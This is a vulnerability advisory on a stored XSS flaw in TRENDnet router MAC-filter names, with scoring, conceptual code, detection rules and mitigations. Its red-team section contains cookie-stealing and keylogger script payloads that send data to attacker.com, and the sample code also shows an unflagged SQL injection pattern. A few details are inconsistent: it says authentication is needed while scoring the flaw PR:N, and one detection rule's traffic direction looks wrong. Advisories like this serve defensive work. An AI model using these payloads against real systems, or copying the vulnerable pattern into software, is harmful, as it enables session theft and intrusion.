CVE-2024-51189

Executive Summary

CVE-2024-51189 identifies a stored cross-site scripting (XSS) vulnerability in multiple TRENDnet router models: TEW-651BR (firmware 2.04B1), TEW-652BRP (firmware 3.04b01), and TEW-652BRU (firmware 1.00b12). The flaw resides in the /filters.htm page, specifically within the macList_Name_1.1.1.0.0 parameter. An authenticated attacker can inject arbitrary JavaScript or HTML into the MAC filter list name field, which is then stored and executed in the browser of any administrator viewing the filter configuration page. This can lead to session hijacking, credential theft, or further compromise of the router’s administrative interface. No official patch has been released by TRENDnet, and the vendor has not acknowledged the vulnerability. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It affects embedded firmware on consumer-grade networking hardware. No supply chain attack vector is present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need prior authentication to trigger the stored XSS, but the stored payload is executed when an authenticated admin views the page.
• User Interaction: Required (UI:R) – The victim must visit the /filters.htm page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from the admin session).
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited ability to modify data (e.g., modify router settings via XSS).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction and is not wormable, but it can be chained with other attacks (e.g., CSRF) to achieve full device compromise.

Deep Dive & Mechanics

The vulnerability exists in the MAC address filter list management functionality of the affected TRENDnet routers. The /filters.htm page allows an administrator to add MAC addresses to a filter list, with each entry having a name field (macList_Name_1.1.1.0.0). The application fails to sanitize or encode user input before storing it in the device’s configuration database. When the page is rendered, the stored name is inserted directly into the HTML without proper escaping, allowing arbitrary script execution.

Attack Flow:

1. An attacker gains access to the router’s web interface (e.g., via default credentials, brute force, or phishing).
2. The attacker navigates to /filters.htm and adds a new MAC filter entry.
3. In the macList_Name_1.1.1.0.0 field, the attacker injects a payload such as <script>alert('XSS')</script>.
4. The payload is stored in the router’s configuration.
5. When any administrator (including the attacker) views the /filters.htm page, the payload executes in their browser.
6. The attacker can use this to steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.

Root Cause: Lack of output encoding on the macList_Name_1.1.1.0.0 parameter. The application likely uses a simple string concatenation or innerHTML assignment without sanitization.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and the required fix.

Vulnerable Code (Conceptual - PHP/HTML):

<?php
$macName = $_POST['macList_Name_1.1.1.0.0'];
// Store in database without sanitization
$db->query("INSERT INTO mac_filters (name) VALUES ('$macName')");
?>
<!-- Later, when rendering -->
<div class="filter-name"><?php echo $macName; ?></div>

Patched Code (Conceptual):

<?php
$macName = $_POST['macList_Name_1.1.1.0.0'];
// Sanitize input - allow only alphanumeric and spaces
$macName = preg_replace('/[^a-zA-Z0-9 ]/', '', $macName);
// Store safely
$db->query("INSERT INTO mac_filters (name) VALUES ('" . $db->real_escape_string($macName) . "')");
?>
<!-- Output encoding -->
<div class="filter-name"><?php echo htmlspecialchars($macName, ENT_QUOTES, 'UTF-8'); ?></div>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to the router’s web interface (authenticated session).
• A web browser with developer tools.

Step-by-Step Exploitation:

1. Log in to the TRENDnet router (default credentials often admin/admin).
2. Navigate to http://<router-ip>/filters.htm.
3. Locate the MAC filter list form. The parameter macList_Name_1.1.1.0.0 is typically an input field for the filter name.
4. Inject a payload into the name field. Example payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

5. Submit the form. The payload is stored.
6. When any admin views the /filters.htm page, the script executes, sending the session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Note: No public exploit code (Exploit-DB) or Nuclei template is available for this CVE.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /filters.htm with unusual parameters (e.g., <script> tags in macList_Name_1.1.1.0.0).
• Use web application firewall (WAF) rules to block XSS payloads in POST parameters.
• Enable logging of all administrative actions on the router.

Mitigation:

• Since no patch exists, restrict access to the router’s web interface to trusted IPs only.
• Change default credentials immediately.
• Disable remote management if not required.
• Use a VPN to access the router’s admin interface.
• Consider replacing the device with a supported model.

Lab Setup:

• Use a virtualized environment with the affected firmware (e.g., via QEMU or actual hardware in an isolated network).
• Tools: Burp Suite, OWASP ZAP, or custom Python scripts to automate payload injection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /filters.htm containing <script> tags or onerror/onload event handlers.
  • Outbound connections from the router to unknown IPs on port 80/443 (exfiltration).
• Host IOCs:
  • Unusual entries in the MAC filter list containing JavaScript code.
  • Modified router configuration files (if accessible via TFTP or backup).
• Log IOCs:
  • Repeated failed login attempts followed by successful authentication (brute force).
  • Access logs showing /filters.htm accessed from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2024_51189_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting TRENDnet routers CVE-2024-51189"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51189"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $param = "macList_Name_1.1.1.0.0" ascii wide nocase
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: TRENDnet Router Stored XSS via MAC Filter Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /filters.htm containing XSS payloads in the macList_Name_1.1.1.0.0 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/filters.htm'
        cs-uri-query|contains: 'macList_Name_1.1.1.0.0'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in filter names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51189 TRENDnet Router Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/filters.htm"; http_uri; content:"macList_Name_1.1.1.0.0"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Default Credentials: Immediately change the router’s admin password to a strong, unique password.
2. Disable Remote Management: If not required, disable remote access to the web interface from the WAN side.
3. Restrict Access: Use IP whitelisting to allow only trusted IPs to access the admin interface.
4. Monitor Logs: Regularly review router logs for suspicious activity, especially POST requests to /filters.htm.

Long-Term Solutions:

• Vendor Patch: Contact TRENDnet support and request a firmware update. As of now, no patch is available.
• Device Replacement: Consider replacing the affected routers with models that receive regular security updates.
• Network Segmentation: Place these routers in isolated VLANs with limited internet exposure.
• Web Application Firewall: Deploy a WAF in front of the router’s web interface to filter XSS payloads.

Workaround:

• If the MAC filter feature is not used, disable it entirely via the router’s configuration.
• Use a reverse proxy (e.g., Nginx) to add an additional layer of input validation before requests reach the router.

Valters IT
DevSecOps & Cyber Threat Intelligence